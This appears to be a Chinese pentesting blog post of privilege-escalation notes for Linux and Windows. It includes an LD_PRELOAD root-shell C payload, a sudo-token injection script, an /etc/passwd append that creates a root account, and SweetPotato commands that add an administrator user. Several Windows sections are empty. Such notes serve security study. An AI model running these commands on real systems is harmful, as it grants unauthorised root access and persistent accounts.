目录

  1. 1. 前言
  2. 2. Linux提权
    1. 2.1. sudo提权
      1. 2.1.1. 权限配置不当
      2. 2.1.2. CVE-2021-3156
    2. 2.2. suid提权
    3. 2.3. 明文root密码提权
    4. 2.4. 计划任务提权
    5. 2.5. 内核提权
      1. 2.5.1. CVE-2022-2588
    6. 2.6. 劫持 root 命令
      1. 2.6.1. chown
  3. 3. Windows提权
    1. 3.1. 系统内核漏洞
    2. 3.2. 系统服务提权
    3. 3.3. MSI 安装策略提权
    4. 3.4. Potato家族
      1. 3.4.1. 详细原理
      2. 3.4.2. SweetPotato
    5. 3.5. Bypass UAC
    6. 3.6. 用户凭据
    7. 3.7. Print Spooler
    8. 3.8. Nopac
    9. 3.9. Certifried(CVE-2022-26923)
      1. 3.9.1. 活动目录证书
      2. 3.9.2. 漏洞
    10. 3.10. SeBackupPrivilege 提权

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

权限提升

2024/4/19 渗透 提权
  |     |   总文章阅读量:

前言

参考:

https://www.freebuf.com/articles/system/377304.html

https://www.cnblogs.com/yokan/p/16300797.html

https://www.cnblogs.com/yuy0ung/articles/18421480

https://www.cnblogs.com/xiaoxin07/p/18103386

https://www.cnblogs.com/kqdssheng/p/18738762

提权辅助工具:https://github.com/mzfr/gtfo


Linux提权

sudo提权

在 Linux/Unix 中,/etc/sudoers 文件是 sudo 权限的配置文件,其中储存了一些用户或组可以以 root 权限使用的命令

查看当前 sudo 权限

sudo -l

读取配置文件(需要高权限)

cat /etc/sudoers

权限配置不当

当配置普通用户 sudo 权限时,设置了免密的 sudo 用户,即该用户不需要输入口令即可执行特权命令

利用思路:

  • 免密使用 sudo 权限执行某些命令,重新获取一个 root 身份的shell
  • 某些工具允许免密 sudo 运行,且能够运行脚本/配置文件,可以修改脚本/配置文件实现获取一个 root 身份的shell
  • 免密使用 sudo 权限执行某些命令,获取 /etc/shadow 第一行 root 的密码哈希,再进行爆破获取明文密码
  • 免密使用 sudo 权限执行某些命令,用新的 root 密码哈希覆盖掉原本的 /etc/shadow

具体的提权方式:

  • 脚本篡改:免密 sudo 执行某些可用的高权限脚本

  • 脚本参数:脚本无可写权限,但是接收参数,可以以高权限执行低权限写入的脚本

  • 绕过路径:配置 sudoers 时对目录使用了通配符,可使用 .. 进行目录穿越

  • LD_PRELOAD:需要配置env_keep+=LD_PRELOAD在 sudo 执行时保留 LD_PRELOAD 环境变量

#include<stdio.h>
#include<sys/types.h>
#include<stdlib.h>
void _init(){
unsetenv("LD_PRELOAD"); //不让环境变量重置,保持使用现在的共享库
setresuid(0,0,0);
system("/bin/bash -p");
}

// gcc -shared -fPIC -o shell.so shell.c -nostartfiles
// sudo LD_PRELOAD=/tmp/shell.so 免密sudo命令
  • caching提权

    用户第一次使用sudo命令时,系统会提示用户输入密码,然后将用户的身份验证信息缓存起来,通常在 15 分钟内(可以通过在配置文件中修改 timestamp_timeout 参数来修改缓存时间)。用户在此时间内无需再次输入密码就可以执行 sudo 命令,从而提高效率。不过,sudo 缓存也有一些安全风险。如果渗透测试人员能够获得此用户的权限,那么在 sudo 缓存时间内,他们就可以无须输入密码执行sudo命令,从而获得更高的权限

    sudoers文件中有三个参数与之有关,分别是 !authenticatetimestamp_timeout=-1!tty_tickets

    • authenticate 参数用于配置使用 sudo 命令时是否需要输入密码。如果启用了 authenticate 参数,则用户在使用 sudo 命令时需要输入密码;如果禁用了 authenticate 参数,则用户在使用 sudo 命令时无需输入密码。当在参数前添加符号“!”时,表示该参数被禁用
    • timestamp_timeout 参数用于设置在使用 sudo 命令时的超时时间。如果设置了 timestamp_timeout 参数,则在指定的时间间隔内,用户无需再次输入密码即可使用 sudo 命令。当 timestamp_timeout 参数设置为 -1 时,意味着用户在当前终端窗口永远不需要输入密码
    • tty_tickets 参数用于启用或禁用 TTY(teletype,终端)票据功能。如果启用了 TTY 票据功能,则用户在每个终端上执行 sudo 命令时都需要输入密码;如果禁用了 TTY 票据功能,则用户在使用 sudo 命令时只需要输入一次密码,在其他终端中无需再输入
  • 令牌进程注入提权:https://github.com/nongiach/sudo_inject

    当用户使用 sudo 执行命令后,会在 /var/run/sudo/ts 目录中创建一个带有用户名的时间戳文件。此文件包含有关用户身份验证成功或失败的信息。sudo 程序使用此信息来跟踪已通过身份验证的进程,以便在需要时提供适当的权限

    Linux 系统在文件 /proc/sys/kernel/yama/ptrace_scope 中配置了用于控制进程追踪(Process Tracing)的权限,进程追踪是一种调试技术,它允许一个进程检查和控制另一个进程的执行

    • 当文件内容为 0 时,允许所有进程被追踪;
    • 当文件内容为 1 时,只允许父进程对子进程进行追踪;
    • 当文件内容为 2 时,禁止所有进程被追踪。

    如果当前系统的 ptrace_scope 值设置为 0,并且此时有用户使用 sudo 来执行命令,则可以尝试激活 /var/lib/sudo/ts/ 目录下的所有 sudo 会话的令牌,注入具有有效 sudo 令牌的进程并激活我们自己的 sudo 令牌

#!/bin/sh

# create an invalid sudo entry for the current shell
echo | sudo -S >/dev/null 2>&1
echo "Current process : $$"
cp activate_sudo_token /tmp/
chmod +x activate_sudo_token
# timestamp_dir=$(sudo --version | grep "timestamp dir" | grep -o '/.*')
# inject all shell belonging to the current user, our shell one :p
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$")
do
	  echo "Injecting process $pid -> "$(cat "/proc/$pid/comm")
	  echo 'call system("echo | sudo -S /tmp/activate_sudo_token /var/lib/sudo/ts/* >/dev/null 2>&1")' \
			  | gdb -q -n -p "$pid" >/dev/null 2>&1
done

这段代码的效果是,在执行sudo命令时需要输入密码的情况下调用/tmp/activate_sudo_token程序,注入所有正在运行的 Shell 进程中,并传入/var/lib/sudo/ts/目录下,所有文件的路径为此程序参数,并且不会有其他输出,直到寻找到有效的 sudo 令牌进程,最后使用此 sudo 命令激活当前进程

在脚本完成注入后执行sudo -i即可完成提权

CVE-2021-3156

参考:https://help.aliyun.com/zh/ecs/product-overview/vulnerability-announcement-or-linux-sudo-permission-vulnerability

受影响版本:1.8.2 - 1.8.31p2、1.9.0 - 1.9.5p1

检验方法:

以非root用户登录系统,并运行如下命令:

sudoedit -s /
  • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

  • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

题目:https://c1oudfl0w0.github.io/blog/2024/02/14/NSSCTF-Round-18/#Becomeroot-%E5%A4%8D%E7%8E%B0


suid提权

SUID (Set UID) 是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义。

在执行过程中,调用者会暂时获得该SUID文件的所有者权限,且该权限只在程序执行的过程中有效

使用以下命令查找具有 SUID 权限位文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

然后参考可利用的二进制文件: https://gtfobins.github.io/


明文root密码提权

需要 /etc/shadow 可读

利用john对shadow文件中的哈希密码进行爆破


计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。

列出计划任务

ls -l /etc/cron*
cat /etc/crontab 

寻找权限配置为 777 即 -rwxrwxrwx 的计划任务

一些以 root 权限起的 web 服务如果能写入文件则可以尝试写入计划任务 getshell


内核提权

拿到服务器的 shell 后,执行 uname -a 查看内核版本,lsb_release –a 查看当前系统发行版的具体版本号

然后去根据内核版本查找可用提权方法: https://www.exploit-db.com/

CVE-2022-2588

https://github.com/Markakd/CVE-2022-2588

影响版本:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

劫持 root 命令

部分服务使用 root 权限启动,其中如果有涉及执行一些高权限操作的命令并且参数由我们控制,则可以尝试劫持传入这个命令的参数实现以 root 权限对自己的目标文件进行操作

chown

参考: https://juejin.cn/post/7143205715228770317

chown 是Linux环境下用于设置文件所有者和文件关联组的命令。当以 root 权限运行 chown 时,有多种可能性可以进行提权

test@518f56a2c854:~$ sudo chown test /etc/passwd
test@518f56a2c854:~$ ls -alrt /etc/passwd
-rw-r--r--. 1 test root 1314 Sep 14 07:18 /etc/passwd

此时 /etc/passwd 的所有者为 test,我们可以对其进行修改,先准备一个加密的密码

openssl passwd superman
# $1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.

然后在 /etc/passwd 文件中添加一个具有 root 权限的新用户,并使用以上生成的加密密码

test@518f56a2c854:~$ echo 'root2:$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.:0:0:root:/root:/bin/sh' >> /etc/passwd

随后使用 su 成为 root2 用户并输入已知的密码,即可获得 root 权限


Windows提权

可利用的二进制文件:https://lolbas-project.github.io/

系统内核漏洞

systeminfo

查看已安装的系统补丁


系统服务提权


MSI 安装策略提权


Potato家族

仅当前帐户有权模拟安全令牌时才能执行此操作。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,因此这个提权方式通常适用于大多数服务帐户,而不适用于大多数用户级帐户。

详细原理

前提:用户拥有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 权限,可通过查看当前用户与相关特权进行手动枚举

whoami /priv

以下用户拥有 SeImpersonatePrivilege 权限:

  • 本地管理员账户 (不包括管理员组普通账户) 和本地服务账户
  • 由 SCM 启动的服务

只有更高权限的账户比如 SYSTEM 才有 SeAssignPrimaryTokenPrivilege 权限

而 Windows 服务的登陆账户有:

  • Local System(NT AUTHORITY\SYSTEM)
  • Network Service(NT AUTHORITY\Network Service)
  • Local Service(NT AUTHORITY\Local Service)

该提权就是把 Administrator 或者 Service 提到 SYSTEM

Windows Token 是描述安全上下文的对象,用户登陆后系统就会生成 token,创建新进程或新线程时这个 token 会不断拷贝

Token 成员:

  • 用户账户的 SID
  • 用户所属的组的 SID
  • 用于标识当前登陆会话的登陆 SID
  • 用户或用户组所拥有的权限列表
  • 所有者 SID
  • 所有者组的 SID
  • 访问控制列表
  • 访问令牌的来源
  • 主令牌/模拟令牌
  • 限制 SID 的可选列表
  • 模拟等级:
  • Anonymous: server 无法模拟或识别 client
  • Identification: 可识别 client 的身份和特权,不能模拟
  • Impersonation: 可在本地系统模拟
  • Delegation: 可在远程系统上模拟

当用户具有 SeImpersonatePrivilege 特权,则可以调用 CreateProcessWithTokenW 以某个Token的权限启动新进程
当用户具有 SeAssignPrimaryTokenPrivilege 特权,则可以调用 CreateProcessAsUserW 以Token权限启动新进程

SweetPotato

从Windows 7到Windows 10 / Server 2019的本地服务到系统权限提升漏洞

集成了大部分土豆家族的功能

参考:https://cloud.tencent.com/developer/article/2249965

项目地址:https://github.com/CCob/SweetPotato

用法:

SweetPotato.exe -a "whoami"

提升到 SYSTEM 权限后可以执行绝大多数高权限命令,如创建用户

SweetPotato.exe -a "net user 0w0 qwer1234! /add"
SweetPotato.exe -a "net localgroup administrators 0w0 /add"

Bypass UAC


用户凭据



Nopac


Certifried(CVE-2022-26923)

活动目录证书

活动目录证书服务(AD CS)上微软对 PKI 的实现

漏洞

默认情况下,域用户可以注册 User 证书模板,域机器账户可以注册 Machine 证书模板。两个证书模板都允许客户端身份验证。当用户账户申请 User 模板证书时,用户账户的用户主体名称(User Principal Name,UPN)将嵌入证书,以进行识别。当使用证书进行身份验证时,KDC 会尝试将 UPN 从证书映射到目标用户。

User 证书模板的 msPKI-Certificate-Name-Flag 属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 标志位,其指示 CA 将来自活动目录中请求者用户对象的 UPN 属性值添加到已颁发证书的主题备用名称中

但是微软规范中 UPN 必须是唯一的,机器是没有 UPN 属性的,当机器账户申请证书时,计算机的 DNS 属性被嵌入证书,以进行识别

而 DNS 主机名在 dNSHostName 属性中定义,那么如果能将账户的 dNSHostName 值修改为与域控制器的机器账户相同的 dNSHostName 值,就能够欺骗 AD CS 并最终申请到域控制器的 AD 证书


SeBackupPrivilege 提权

https://www.cnblogs.com/kqdssheng/p/18741609

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/SeBackupPrivilege.md

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8